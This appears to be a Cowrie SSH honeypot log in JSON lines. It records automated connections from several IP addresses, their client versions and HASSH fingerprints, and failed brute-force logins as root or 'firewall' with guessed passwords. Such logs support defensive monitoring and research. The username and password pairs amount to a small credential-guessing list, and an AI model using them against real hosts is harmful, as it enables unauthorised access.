{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:06.641841Z","src_ip":"77.94.47.83","session":"9e96f742b145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:07.018576Z","src_ip":"77.94.47.83","session":"9e96f742b145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:08.146863Z","src_ip":"77.94.47.83","session":"9e96f742b145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":51272,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf1f777b0e2","protocol":"ssh","message":"New connection: 43.153.65.139:51272 (10.17.0.5:22) [session: edf1f777b0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:23.517637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:23.522858Z","src_ip":"43.153.65.139","session":"edf1f777b0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:23.594983Z","src_ip":"43.153.65.139","session":"edf1f777b0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234!","message":"login attempt [root/admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:23.898669Z","src_ip":"43.153.65.139","session":"edf1f777b0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:24.971580Z","src_ip":"43.153.65.139","session":"edf1f777b0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51122,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a443e7fb09f","protocol":"ssh","message":"New connection: 103.77.242.62:51122 (159.203.135.109:22) [session: 0a443e7fb09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:25.839061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:25.845312Z","src_ip":"103.77.242.62","session":"0a443e7fb09f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:26.087320Z","src_ip":"103.77.242.62","session":"0a443e7fb09f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2ytv1qak9h","message":"login attempt [root/2ytv1qak9h] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:26.814891Z","src_ip":"103.77.242.62","session":"0a443e7fb09f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:28.060107Z","src_ip":"103.77.242.62","session":"0a443e7fb09f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":39986,"dst_ip":"10.17.0.5","dst_port":22,"session":"f048befb87b8","protocol":"ssh","message":"New connection: 39.117.79.36:39986 (10.17.0.5:22) [session: f048befb87b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:44.546545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:44.550902Z","src_ip":"39.117.79.36","session":"f048befb87b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:44.747597Z","src_ip":"39.117.79.36","session":"f048befb87b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789..","message":"login attempt [root/Aa123456789..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:45.558787Z","src_ip":"39.117.79.36","session":"f048befb87b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:46.755765Z","src_ip":"39.117.79.36","session":"f048befb87b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":55034,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9af31812b4","protocol":"ssh","message":"New connection: 43.153.50.142:55034 (10.17.0.5:22) [session: bd9af31812b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:47.451812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:47.456533Z","src_ip":"43.153.50.142","session":"bd9af31812b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:47.525536Z","src_ip":"43.153.50.142","session":"bd9af31812b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa!123456","message":"login attempt [root/Aa!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:47.833639Z","src_ip":"43.153.50.142","session":"bd9af31812b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:01:48.905406Z","src_ip":"43.153.50.142","session":"bd9af31812b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":56948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea90559eee13","protocol":"ssh","message":"New connection: 103.149.170.125:56948 (159.203.135.109:22) [session: ea90559eee13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:10.619922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:10.625216Z","src_ip":"103.149.170.125","session":"ea90559eee13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:10.893572Z","src_ip":"103.149.170.125","session":"ea90559eee13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19751975","message":"login attempt [root/19751975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:11.701361Z","src_ip":"103.149.170.125","session":"ea90559eee13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:12.989102Z","src_ip":"103.149.170.125","session":"ea90559eee13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":59478,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf7267a1316","protocol":"ssh","message":"New connection: 43.153.65.139:59478 (10.17.0.5:22) [session: edf7267a1316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:31.063850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:31.068452Z","src_ip":"43.153.65.139","session":"edf7267a1316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:31.136688Z","src_ip":"43.153.65.139","session":"edf7267a1316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firewall","password":"firewall","message":"login attempt [firewall/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:31.446735Z","src_ip":"43.153.65.139","session":"edf7267a1316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:32.518302Z","src_ip":"43.153.65.139","session":"edf7267a1316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":38716,"dst_ip":"10.17.0.5","dst_port":22,"session":"463579e61de5","protocol":"ssh","message":"New connection: 43.153.50.142:38716 (10.17.0.5:22) [session: 463579e61de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:54.071686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:54.075773Z","src_ip":"43.153.50.142","session":"463579e61de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:54.143593Z","src_ip":"43.153.50.142","session":"463579e61de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xu@123456","message":"login attempt [root/Xu@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:54.447947Z","src_ip":"43.153.50.142","session":"463579e61de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:02:55.525171Z","src_ip":"43.153.50.142","session":"463579e61de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac365365868","protocol":"ssh","message":"New connection: 39.117.79.36:37678 (10.17.0.5:22) [session: bac365365868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:11.386816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:11.391275Z","src_ip":"39.117.79.36","session":"bac365365868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:11.588538Z","src_ip":"39.117.79.36","session":"bac365365868","protocol":"ssh"}
